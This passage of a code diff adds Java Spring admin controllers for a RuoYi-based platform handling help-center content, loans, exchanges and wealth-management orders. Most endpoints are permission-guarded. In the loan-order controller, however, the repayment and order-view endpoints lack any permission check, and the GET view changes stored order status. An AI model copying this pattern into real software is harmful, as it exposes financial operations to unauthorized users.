@PreAuthorize("@ss.hasPermi('bussiness:helpcenter:query')")
@GetMapping(value = "/{id}")
public AjaxResult getInfo(@PathVariable("id") Long id)
{
return success(tHelpCenterService.selectTHelpCenterById(id));
}
/**
* 新增帮助中心
*/
@PreAuthorize("@ss.hasPermi('bussiness:helpcenter:add')")
@Log(title = "帮助中心", businessType = BusinessType.INSERT)
@PostMapping
public AjaxResult add(@RequestBody THelpCenter tHelpCenter)
{
return toAjax(tHelpCenterService.insertTHelpCenter(tHelpCenter));
}
/**
* 修改帮助中心
*/
@PreAuthorize("@ss.hasPermi('bussiness:helpcenter:edit')")
@Log(title = "帮助中心", businessType = BusinessType.UPDATE)
@PutMapping
public AjaxResult edit(@RequestBody THelpCenter tHelpCenter)
{
return toAjax(tHelpCenterService.updateTHelpCenter(tHelpCenter));
}
/**
* 删除帮助中心
*/
@PreAuthorize("@ss.hasPermi('bussiness:helpcenter:remove')")
@Log(title = "帮助中心", businessType = BusinessType.DELETE)
@DeleteMapping("/{id}")
public AjaxResult remove(@PathVariable Long id)
{
THelpCenterInfo tHelpCenterInfo = new THelpCenterInfo();
tHelpCenterInfo.setHelpCenterId(id);
List<THelpCenterInfo> list = tHelpCenterInfoService.selectTHelpCenterInfoList(tHelpCenterInfo);
if (!CollectionUtils.isEmpty(list)){
return AjaxResult.error("该数据下存在子集,不允许删除");
}
return toAjax(tHelpCenterService.deleteTHelpCenterById(id));
}
}

105
ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/THelpCenterInfoController.java

@ -0,0 +1,105 @@
package com.ruoyi.web.controller.bussiness;
import java.util.List;
import javax.servlet.http.HttpServletResponse;
import com.ruoyi.bussiness.service.ITHelpCenterInfoService;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import com.ruoyi.common.annotation.Log;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.enums.BusinessType;
import com.ruoyi.bussiness.domain.THelpCenterInfo;
import com.ruoyi.common.utils.poi.ExcelUtil;
import com.ruoyi.common.core.page.TableDataInfo;
/**
* 帮助中心问题详情Controller
*
* @author ruoyi
* @date 2023-08-17
*/
@RestController
@RequestMapping("/bussiness/helpCenterInfo")
public class THelpCenterInfoController extends BaseController
{
@Autowired
private ITHelpCenterInfoService tHelpCenterInfoService;
/**
* 查询帮助中心问题详情列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:helpCenterInfo:list')")
@GetMapping("/list")
public TableDataInfo list(THelpCenterInfo tHelpCenterInfo)
{
startPage();
List<THelpCenterInfo> list = tHelpCenterInfoService.selectTHelpCenterInfoList(tHelpCenterInfo);
return getDataTable(list);
}
/**
* 导出帮助中心问题详情列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:helpCenterInfo:export')")
@Log(title = "帮助中心问题详情", businessType = BusinessType.EXPORT)
@PostMapping("/export")
public void export(HttpServletResponse response, THelpCenterInfo tHelpCenterInfo)
{
List<THelpCenterInfo> list = tHelpCenterInfoService.selectTHelpCenterInfoList(tHelpCenterInfo);
ExcelUtil<THelpCenterInfo> util = new ExcelUtil<THelpCenterInfo>(THelpCenterInfo.class);
util.exportExcel(response, list, "帮助中心问题详情数据");
}
/**
* 获取帮助中心问题详情详细信息
*/
@PreAuthorize("@ss.hasPermi('bussiness:helpCenterInfo:query')")
@GetMapping(value = "/{id}")
public AjaxResult getInfo(@PathVariable("id") Long id)
{
return success(tHelpCenterInfoService.selectTHelpCenterInfoById(id));
}
/**
* 新增帮助中心问题详情
*/
@PreAuthorize("@ss.hasPermi('bussiness:helpCenterInfo:add')")
@Log(title = "帮助中心问题详情", businessType = BusinessType.INSERT)
@PostMapping
public AjaxResult add(@RequestBody THelpCenterInfo tHelpCenterInfo)
{
return toAjax(tHelpCenterInfoService.insertTHelpCenterInfo(tHelpCenterInfo));
}
/**
* 修改帮助中心问题详情
*/
@PreAuthorize("@ss.hasPermi('bussiness:helpCenterInfo:edit')")
@Log(title = "帮助中心问题详情", businessType = BusinessType.UPDATE)
@PutMapping
public AjaxResult edit(@RequestBody THelpCenterInfo tHelpCenterInfo)
{
return toAjax(tHelpCenterInfoService.updateTHelpCenterInfo(tHelpCenterInfo));
}
/**
* 删除帮助中心问题详情
*/
@PreAuthorize("@ss.hasPermi('bussiness:helpCenterInfo:remove')")
@Log(title = "帮助中心问题详情", businessType = BusinessType.DELETE)
@DeleteMapping("/{ids}")
public AjaxResult remove(@PathVariable Long[] ids)
{
return toAjax(tHelpCenterInfoService.deleteTHelpCenterInfoByIds(ids));
}
}

104
ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/THomeSetterController.java

@ -0,0 +1,104 @@
package com.ruoyi.web.controller.bussiness;
import java.util.List;
import javax.servlet.http.HttpServletResponse;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import com.ruoyi.common.annotation.Log;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.enums.BusinessType;
import com.ruoyi.bussiness.domain.THomeSetter;
import com.ruoyi.bussiness.service.ITHomeSetterService;
import com.ruoyi.common.utils.poi.ExcelUtil;
import com.ruoyi.common.core.page.TableDataInfo;
/**
* 规则说明Controller
*
* @author ruoyi
* @date 2023-07-19
*/
@RestController
@RequestMapping("/bussiness/home/setter")
public class THomeSetterController extends BaseController
{
@Autowired
private ITHomeSetterService tHomeSetterService;
/**
* 查询规则说明列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:setter:list')")
@GetMapping("/list")
public TableDataInfo list(THomeSetter tHomeSetter)
{
startPage();
List<THomeSetter> list = tHomeSetterService.selectTHomeSetterList(tHomeSetter);
return getDataTable(list);
}
/**
* 导出规则说明列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:setter:export')")
@Log(title = "规则说明", businessType = BusinessType.EXPORT)
@PostMapping("/export")
public void export(HttpServletResponse response, THomeSetter tHomeSetter)
{
List<THomeSetter> list = tHomeSetterService.selectTHomeSetterList(tHomeSetter);
ExcelUtil<THomeSetter> util = new ExcelUtil<THomeSetter>(THomeSetter.class);
util.exportExcel(response, list, "规则说明数据");
}
/**
* 获取规则说明详细信息
*/
@PreAuthorize("@ss.hasPermi('bussiness:setter:query')")
@GetMapping(value = "/{id}")
public AjaxResult getInfo(@PathVariable("id") Long id)
{
return success(tHomeSetterService.selectTHomeSetterById(id));
}
/**
* 新增规则说明
*/
@PreAuthorize("@ss.hasPermi('bussiness:setter:add')")
@Log(title = "规则说明", businessType = BusinessType.INSERT)
@PostMapping
public AjaxResult add(@RequestBody THomeSetter tHomeSetter)
{
return toAjax(tHomeSetterService.insertTHomeSetter(tHomeSetter));
}
/**
* 修改规则说明
*/
@PreAuthorize("@ss.hasPermi('bussiness:setter:edit')")
@Log(title = "规则说明", businessType = BusinessType.UPDATE)
@PutMapping
public AjaxResult edit(@RequestBody THomeSetter tHomeSetter)
{
return toAjax(tHomeSetterService.updateTHomeSetter(tHomeSetter));
}
/**
* 删除规则说明
*/
@PreAuthorize("@ss.hasPermi('bussiness:setter:remove')")
@Log(title = "规则说明", businessType = BusinessType.DELETE)
@DeleteMapping("/{ids}")
public AjaxResult remove(@PathVariable Long[] ids)
{
return toAjax(tHomeSetterService.deleteTHomeSetterByIds(ids));
}
}

223
ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TLoadOrderController.java

@ -0,0 +1,223 @@
package com.ruoyi.web.controller.bussiness;
import java.math.BigDecimal;
import java.math.RoundingMode;
import java.util.*;
import javax.annotation.Resource;
import javax.servlet.http.HttpServletResponse;
import cn.hutool.json.JSONUtil;
import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper;
import com.ruoyi.bussiness.domain.TAppAsset;
import com.ruoyi.bussiness.domain.TAppUser;
import com.ruoyi.bussiness.domain.TLoadProduct;
import com.ruoyi.bussiness.domain.setting.LoadSetting;
import com.ruoyi.bussiness.domain.setting.Setting;
import com.ruoyi.bussiness.service.*;
import com.ruoyi.common.core.domain.entity.SysUser;
import com.ruoyi.common.core.domain.model.LoginUser;
import com.ruoyi.common.enums.SettingEnum;
import com.ruoyi.common.utils.DateUtils;
import com.ruoyi.common.utils.SecurityUtils;
import com.ruoyi.common.utils.StringUtils;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.ui.ModelMap;
import org.springframework.web.bind.annotation.*;
import com.ruoyi.common.annotation.Log;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.enums.BusinessType;
import com.ruoyi.bussiness.domain.TLoadOrder;
import com.ruoyi.common.utils.poi.ExcelUtil;
import com.ruoyi.common.core.page.TableDataInfo;
/**
* 贷款订单Controller
*
* @author ruoyi
* @date 2023-07-14
*/
@RestController
@RequestMapping("/bussiness/load/order")
public class TLoadOrderController extends BaseController
{
@Autowired
private ITLoadOrderService tLoadOrderService;
@Resource
private SettingService settingService;
/**
* 查询贷款订单列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:load/order:list')")
@GetMapping("/list")
public TableDataInfo list(TLoadOrder tLoadOrder)
{
startPage();
List<TLoadOrder> list = tLoadOrderService.selectTLoadOrderList(tLoadOrder);
return getDataTable(list);
}
/**
* 导出贷款订单列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:load/order:export')")
@Log(title = "贷款订单", businessType = BusinessType.EXPORT)
@PostMapping("/export")
public void export(HttpServletResponse response, TLoadOrder tLoadOrder)
{
List<TLoadOrder> list = tLoadOrderService.selectTLoadOrderList(tLoadOrder);
ExcelUtil<TLoadOrder> util = new ExcelUtil<TLoadOrder>(TLoadOrder.class);
util.exportExcel(response, list, "贷款订单数据");
}
/**
* 获取贷款订单详细信息
*/
@PreAuthorize("@ss.hasPermi('bussiness:load/order:query')")
@GetMapping(value = "/{id}")
public AjaxResult getInfo(@PathVariable("id") Long id)
{
return success(tLoadOrderService.selectTLoadOrderById(id));
}
/**
* 新增贷款订单
*/
@PreAuthorize("@ss.hasPermi('bussiness:load/order:add')")
@Log(title = "贷款订单", businessType = BusinessType.INSERT)
@PostMapping
public AjaxResult add(@RequestBody TLoadOrder tLoadOrder)
{
return toAjax(tLoadOrderService.insertTLoadOrder(tLoadOrder));
}
/**
* 修改贷款订单
*/
@PreAuthorize("@ss.hasPermi('bussiness:load/order:edit')")
@Log(title = "贷款订单", businessType = BusinessType.UPDATE)
@PutMapping
public AjaxResult edit(@RequestBody TLoadOrder tLoadOrder)
{
return toAjax(tLoadOrderService.updateTLoadOrder(tLoadOrder));
}
/**
* 删除贷款订单
*/
@PreAuthorize("@ss.hasPermi('bussiness:load/order:remove')")
@Log(title = "贷款订单", businessType = BusinessType.DELETE)
@DeleteMapping("/{ids}")
public AjaxResult remove(@PathVariable Long[] ids)
{
return toAjax(tLoadOrderService.deleteTLoadOrderByIds(ids));
}
/**
* 借贷订单list
* @param tLoadOrder
* @return
*/
@PreAuthorize("@ss.hasPermi('bussiness:loadOrder:orderList')")
@GetMapping("/orderList")
public TableDataInfo orderList(TLoadOrder tLoadOrder) {
startPage();
LoginUser loginUser = SecurityUtils.getLoginUser();
SysUser user = loginUser.getUser();
if(!user.isAdmin()){
if (StringUtils.isNotBlank(user.getUserType()) && !user.getUserType().equals("0")){
tLoadOrder.setAdminParentIds(String.valueOf(user.getUserId()));
}
}
Setting setting = settingService.get(SettingEnum.LOAD_SETTING.name());
LoadSetting loadSetting = JSONUtil.toBean(setting.getSettingValue(), LoadSetting.class);
BigDecimal overRwate = loadSetting.getOverdueRate();
if(StringUtils.isNull(loadSetting.getOverdueRate())){
overRwate= new BigDecimal("0.025");
}
List<TLoadOrder> list = tLoadOrderService.selectTLoadOrderList(tLoadOrder);
for (TLoadOrder loadOrder1:list) {
if(Objects.isNull(loadOrder1.getFinalRepayTime())){
continue;
}
int enddays = DateUtils.daysBetween(loadOrder1.getFinalRepayTime(), new Date());
//逾期
if(enddays>0){
if (loadOrder1.getStatus() == 1) {
loadOrder1.setStatus(4);
tLoadOrderService.updateTLoadOrder(loadOrder1);
loadOrder1.setLastInstets(loadOrder1.getDisburseAmount().multiply(new BigDecimal(enddays)).multiply(overRwate));
loadOrder1.setDays(enddays);
}
}
if(loadOrder1.getStatus()==4){
loadOrder1.setLastInstets(loadOrder1.getDisburseAmount().multiply(new BigDecimal(enddays)).multiply(overRwate));
loadOrder1.setDays(enddays);
}
}
return getDataTable(list);
}
/**
* 订单审核通过
* @param tLoadOrder
* @return
*/
@PreAuthorize("@ss.hasPermi('bussiness:loadOrder:passTLoadOrder')")
@PostMapping("/passTLoadOrder")
public AjaxResult passTLoadOrder(@RequestBody TLoadOrder tLoadOrder) {
return tLoadOrderService.passTLoadOrder(tLoadOrder);
}
/**
* 拒绝
*/
@PreAuthorize("@ss.hasPermi('bussiness:loadOrder:refuseTLoadOrder')")
@PostMapping("/refuseTLoadOrder")
public AjaxResult refuseTLoadOrder(@RequestBody TLoadOrder reject) {
reject.setStatus(2);
return AjaxResult.success(tLoadOrderService.updateTLoadOrder(reject));
}
/**
* 查看
* @param id
* @return
*/
@GetMapping("/getTLoadOrder/{id}")
public AjaxResult getTLoadOrder(@PathVariable("id") Long id) {
TLoadOrder tLoadOrder = tLoadOrderService.selectTLoadOrderById(id);
Setting setting = settingService.get(SettingEnum.LOAD_SETTING.name());
LoadSetting loadSetting = JSONUtil.toBean(setting.getSettingValue(), LoadSetting.class);
BigDecimal overRwate = loadSetting.getOverdueRate();
if(StringUtils.isNull(loadSetting.getOverdueRate())){
overRwate= new BigDecimal("0.025");
}
if(Objects.nonNull(tLoadOrder.getFinalRepayTime())) {
int enddays = DateUtils.daysBetween(tLoadOrder.getFinalRepayTime(), new Date());
//逾期
if (enddays > 0) {
if (tLoadOrder.getStatus() == 3) {
tLoadOrder.setStatus(2);
tLoadOrderService.updateTLoadOrder(tLoadOrder);
}
tLoadOrder.setLastInstets(tLoadOrder.getAmount().multiply(new BigDecimal(enddays)).multiply(overRwate));
}
}
return success(tLoadOrder);
}
/**
* 还款
* @param id
* @return
*/
@PostMapping("/repayment")
public AjaxResult repayment(Long id) {
return toAjax(tLoadOrderService.repayment(id));
}
}

98
ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TLoadProductController.java

@ -0,0 +1,98 @@
package com.ruoyi.web.controller.bussiness;
import com.ruoyi.bussiness.domain.TLoadProduct;
import com.ruoyi.bussiness.service.ITLoadProductService;
import com.ruoyi.common.annotation.Log;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.core.page.TableDataInfo;
import com.ruoyi.common.enums.BusinessType;
import com.ruoyi.common.utils.poi.ExcelUtil;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.web.bind.annotation.*;
import javax.servlet.http.HttpServletResponse;
import java.util.List;
/**
* 借贷产品Controller
*
* @author ruoyi
* @date 2023-07-13
*/
@RestController
@RequestMapping("/bussiness/load/product")
public class TLoadProductController extends BaseController
{
@Autowired
private ITLoadProductService tLoadProductService;
/**
* 查询借贷产品列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:load/product:list')")
@GetMapping("/list")
public TableDataInfo list(TLoadProduct tLoadProduct)
{
startPage();
List<TLoadProduct> list = tLoadProductService.selectTLoadProductList(tLoadProduct);
return getDataTable(list);
}
/**
* 导出借贷产品列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:load/product:export')")
@Log(title = "借贷产品", businessType = BusinessType.EXPORT)
@PostMapping("/export")
public void export(HttpServletResponse response, TLoadProduct tLoadProduct)
{
List<TLoadProduct> list = tLoadProductService.selectTLoadProductList(tLoadProduct);
ExcelUtil<TLoadProduct> util = new ExcelUtil<TLoadProduct>(TLoadProduct.class);
util.exportExcel(response, list, "借贷产品数据");
}
/**
* 获取借贷产品详细信息
*/
@PreAuthorize("@ss.hasPermi('bussiness:load/product:query')")
@GetMapping(value = "/{id}")
public AjaxResult getInfo(@PathVariable("id") Long id)
{
return success(tLoadProductService.selectTLoadProductById(id));
}
/**
* 新增借贷产品
*/
@PreAuthorize("@ss.hasPermi('bussiness:load/product:add')")
@Log(title = "借贷产品", businessType = BusinessType.INSERT)
@PostMapping
public AjaxResult add(@RequestBody TLoadProduct tLoadProduct)
{
return toAjax(tLoadProductService.insertTLoadProduct(tLoadProduct));
}
/**
* 修改借贷产品
*/
@PreAuthorize("@ss.hasPermi('bussiness:load/product:edit')")
@Log(title = "借贷产品", businessType = BusinessType.UPDATE)
@PutMapping
public AjaxResult edit(@RequestBody TLoadProduct tLoadProduct)
{
return toAjax(tLoadProductService.updateTLoadProduct(tLoadProduct));
}
/**
* 删除借贷产品
*/
@PreAuthorize("@ss.hasPermi('bussiness:load/product:remove')")
@Log(title = "借贷产品", businessType = BusinessType.DELETE)
@DeleteMapping("/{ids}")
public AjaxResult remove(@PathVariable Long[] ids)
{
return toAjax(tLoadProductService.deleteTLoadProductByIds(ids));
}
}

104
ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TMarketsController.java

@ -0,0 +1,104 @@
package com.ruoyi.web.controller.bussiness;
import java.util.List;
import javax.servlet.http.HttpServletResponse;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import com.ruoyi.common.annotation.Log;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.enums.BusinessType;
import com.ruoyi.bussiness.domain.TMarkets;
import com.ruoyi.bussiness.service.ITMarketsService;
import com.ruoyi.common.utils.poi.ExcelUtil;
import com.ruoyi.common.core.page.TableDataInfo;
/**
* 支持交易所Controller
*
* @author ruoyi
* @date 2023-06-26
*/
@RestController
@RequestMapping("/bussiness/markets")
public class TMarketsController extends BaseController
{
@Autowired
private ITMarketsService tMarketsService;
/**
* 查询支持交易所列表
*/
@PreAuthorize("@ss.hasPermi('system:markets:list')")
@GetMapping("/list")
public TableDataInfo list(TMarkets tMarkets)
{
startPage();
List<TMarkets> list = tMarketsService.selectTMarketsList(tMarkets);
return getDataTable(list);
}
/**
* 导出支持交易所列表
*/
@PreAuthorize("@ss.hasPermi('system:markets:export')")
@Log(title = "支持交易所", businessType = BusinessType.EXPORT)
@PostMapping("/export")
public void export(HttpServletResponse response, TMarkets tMarkets)
{
List<TMarkets> list = tMarketsService.selectTMarketsList(tMarkets);
ExcelUtil<TMarkets> util = new ExcelUtil<TMarkets>(TMarkets.class);
util.exportExcel(response, list, "支持交易所数据");
}
/**
* 获取支持交易所详细信息
*/
@PreAuthorize("@ss.hasPermi('system:markets:query')")
@GetMapping(value = "/{slug}")
public AjaxResult getInfo(@PathVariable("slug") String slug)
{
return success(tMarketsService.selectTMarketsBySlug(slug));
}
/**
* 新增支持交易所
*/
@PreAuthorize("@ss.hasPermi('system:markets:add')")
@Log(title = "支持交易所", businessType = BusinessType.INSERT)
@PostMapping
public AjaxResult add(@RequestBody TMarkets tMarkets)
{
return toAjax(tMarketsService.insertTMarkets(tMarkets));
}
/**
* 修改支持交易所
*/
@PreAuthorize("@ss.hasPermi('system:markets:edit')")
@Log(title = "支持交易所", businessType = BusinessType.UPDATE)
@PutMapping
public AjaxResult edit(@RequestBody TMarkets tMarkets)
{
return toAjax(tMarketsService.updateTMarkets(tMarkets));
}
/**
* 删除支持交易所
*/
@PreAuthorize("@ss.hasPermi('system:markets:remove')")
@Log(title = "支持交易所", businessType = BusinessType.DELETE)
@DeleteMapping("/{slugs}")
public AjaxResult remove(@PathVariable String[] slugs)
{
return toAjax(tMarketsService.deleteTMarketsBySlugs(slugs));
}
}

105
ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TMineFinancialController.java

@ -0,0 +1,105 @@
package com.ruoyi.web.controller.bussiness;
import java.util.List;
import javax.servlet.http.HttpServletResponse;
import com.ruoyi.bussiness.domain.TMineFinancial;
import com.ruoyi.bussiness.service.ITMineFinancialService;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import com.ruoyi.common.annotation.Log;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.enums.BusinessType;
import com.ruoyi.common.utils.poi.ExcelUtil;
import com.ruoyi.common.core.page.TableDataInfo;
/**
* 理财产品Controller
*
* @author ruoyi
* @date 2023-07-17
*/
@RestController
@RequestMapping("/bussiness/financial")
public class TMineFinancialController extends BaseController
{
@Autowired
private ITMineFinancialService tMineFinancialService;
/**
* 查询理财产品列表
*/
@PreAuthorize("@ss.hasPermi('system:financial:list')")
@GetMapping("/list")
public TableDataInfo list(TMineFinancial tMineFinancial)
{
startPage();
List<TMineFinancial> list = tMineFinancialService.selectTMineFinancialList(tMineFinancial);
return getDataTable(list);
}
/**
* 导出理财产品列表
*/
@PreAuthorize("@ss.hasPermi('system:financial:export')")
@Log(title = "理财产品", businessType = BusinessType.EXPORT)
@PostMapping("/export")
public void export(HttpServletResponse response, TMineFinancial tMineFinancial)
{
List<TMineFinancial> list = tMineFinancialService.selectTMineFinancialList(tMineFinancial);
ExcelUtil<TMineFinancial> util = new ExcelUtil<TMineFinancial>(TMineFinancial.class);
util.exportExcel(response, list, "理财产品数据");
}
/**
* 获取理财产品详细信息
*/
@PreAuthorize("@ss.hasPermi('system:financial:query')")
@GetMapping(value = "/{id}")
public AjaxResult getInfo(@PathVariable("id") Long id)
{
return success(tMineFinancialService.selectTMineFinancialById(id));
}
/**
* 新增理财产品
*/
@PreAuthorize("@ss.hasPermi('system:financial:add')")
@Log(title = "理财产品", businessType = BusinessType.INSERT)
@PostMapping
public AjaxResult add(@RequestBody TMineFinancial tMineFinancial)
{
return toAjax(tMineFinancialService.insertTMineFinancial(tMineFinancial));
}
/**
* 修改理财产品
*/
@PreAuthorize("@ss.hasPermi('system:financial:edit')")
@Log(title = "理财产品", businessType = BusinessType.UPDATE)
@PutMapping
public AjaxResult edit(@RequestBody TMineFinancial tMineFinancial)
{
return toAjax(tMineFinancialService.updateTMineFinancial(tMineFinancial));
}
/**
* 删除理财产品
*/
@PreAuthorize("@ss.hasPermi('system:financial:remove')")
@Log(title = "理财产品", businessType = BusinessType.DELETE)
@DeleteMapping("/{ids}")
public AjaxResult remove(@PathVariable Long[] ids)
{
return toAjax(tMineFinancialService.deleteTMineFinancialByIds(ids));
}
}

131
ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TMineOrderController.java

@ -0,0 +1,131 @@
package com.ruoyi.web.controller.bussiness;
import java.util.List;
import javax.annotation.Resource;
import javax.servlet.http.HttpServletResponse;
import com.ruoyi.bussiness.domain.TMineOrder;
import com.ruoyi.bussiness.service.ITMineFinancialService;
import com.ruoyi.bussiness.service.ITMineOrderService;
import com.ruoyi.common.core.domain.entity.SysUser;
import com.ruoyi.common.core.domain.model.LoginUser;
import com.ruoyi.common.utils.SecurityUtils;
import com.ruoyi.common.utils.StringUtils;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import com.ruoyi.common.annotation.Log;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.enums.BusinessType;
import com.ruoyi.common.utils.poi.ExcelUtil;
import com.ruoyi.common.core.page.TableDataInfo;
/**
* 理财订单Controller
*
* @author ruoyi
* @date 2023-07-17
*/
@RestController
@RequestMapping("/bussiness/order")
public class TMineOrderController extends BaseController
{
@Autowired
private ITMineOrderService tMineOrderService;
@Resource
private ITMineFinancialService tMineFinancialService;
/**
* 查询理财订单列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:order:list')")
@GetMapping("/list")
public TableDataInfo list(TMineOrder tMineOrder)
{
LoginUser loginUser = SecurityUtils.getLoginUser();
SysUser user = loginUser.getUser();
if(!user.isAdmin()){
if (StringUtils.isNotBlank(user.getUserType()) && !user.getUserType().equals("0")){
tMineOrder.setAdminUserIds(String.valueOf(user.getUserId()));
}
}
startPage();
List<TMineOrder> list = tMineOrderService.selectTMineOrderList(tMineOrder);
return getDataTable(list);
}
/**
* 导出理财订单列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:order:export')")
@Log(title = "理财订单", businessType = BusinessType.EXPORT)
@PostMapping("/export")
public void export(HttpServletResponse response, TMineOrder tMineOrder)
{
List<TMineOrder> list = tMineOrderService.selectTMineOrderList(tMineOrder);
ExcelUtil<TMineOrder> util = new ExcelUtil<TMineOrder>(TMineOrder.class);
util.exportExcel(response, list, "理财订单数据");
}
/**
* 获取理财订单详细信息
*/
@PreAuthorize("@ss.hasPermi('bussiness:order:query')")
@GetMapping(value = "/{id}")
public AjaxResult getInfo(@PathVariable("id") Long id)
{
return success(tMineOrderService.selectTMineOrderById(id));
}
/**
* 新增理财订单
*/
@PreAuthorize("@ss.hasPermi('bussiness:order:add')")
@Log(title = "理财订单", businessType = BusinessType.INSERT)
@PostMapping
public AjaxResult add(@RequestBody TMineOrder tMineOrder)
{
return toAjax(tMineOrderService.insertTMineOrder(tMineOrder));
}
/**
* 修改理财订单
*/
@PreAuthorize("@ss.hasPermi('bussiness:order:edit')")
@Log(title = "理财订单", businessType = BusinessType.UPDATE)
@PutMapping
public AjaxResult edit(@RequestBody TMineOrder tMineOrder)
{
return toAjax(tMineOrderService.updateTMineOrder(tMineOrder));
}
/**
* 删除理财订单
*/
@PreAuthorize("@ss.hasPermi('bussiness:order:remove')")
@Log(title = "理财订单", businessType = BusinessType.DELETE)
@DeleteMapping("/{ids}")
public AjaxResult remove(@PathVariable Long[] ids)
{
return toAjax(tMineOrderService.deleteTMineOrderByIds(ids));
}
@PreAuthorize("@ss.hasPermi('bussiness:order:reCall')")
@Log(title = "理财赎回", businessType = BusinessType.UPDATE)
@PutMapping("/reCall")
public AjaxResult reCall(String id) {
String msg = tMineFinancialService.reCall(id);
if(StringUtils.isNotBlank(msg)){
return AjaxResult.error(msg);
}
return AjaxResult.success();
}
}

106
ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TMineOrderDayController.java

@ -0,0 +1,106 @@
package com.ruoyi.web.controller.bussiness;
import java.math.BigDecimal;
import java.util.List;
import javax.servlet.http.HttpServletResponse;
import com.ruoyi.bussiness.domain.TMineOrderDay;
import com.ruoyi.bussiness.service.ITMineOrderDayService;
import com.ruoyi.common.utils.poi.ExcelUtil;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import com.ruoyi.common.annotation.Log;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.enums.BusinessType;
import com.ruoyi.common.core.page.TableDataInfo;
/**
* 理财每日结算Controller
*
* @author ruoyi
* @date 2023-07-17
*/
@RestController
@RequestMapping("/bussiness/day")
public class TMineOrderDayController extends BaseController
{
@Autowired
private ITMineOrderDayService tMineOrderDayService;
/**
* 查询理财每日结算列表
*/
@PreAuthorize("@ss.hasPermi('system:day:list')")
@GetMapping("/list")
public TableDataInfo list(TMineOrderDay tMineOrderDay)
{
startPage();
List<TMineOrderDay> list = tMineOrderDayService.selectTMineOrderDayList(tMineOrderDay);
return getDataTable(list);
}
/**
* 导出理财每日结算列表
*/
@PreAuthorize("@ss.hasPermi('system:day:export')")
@Log(title = "理财每日结算", businessType = BusinessType.EXPORT)
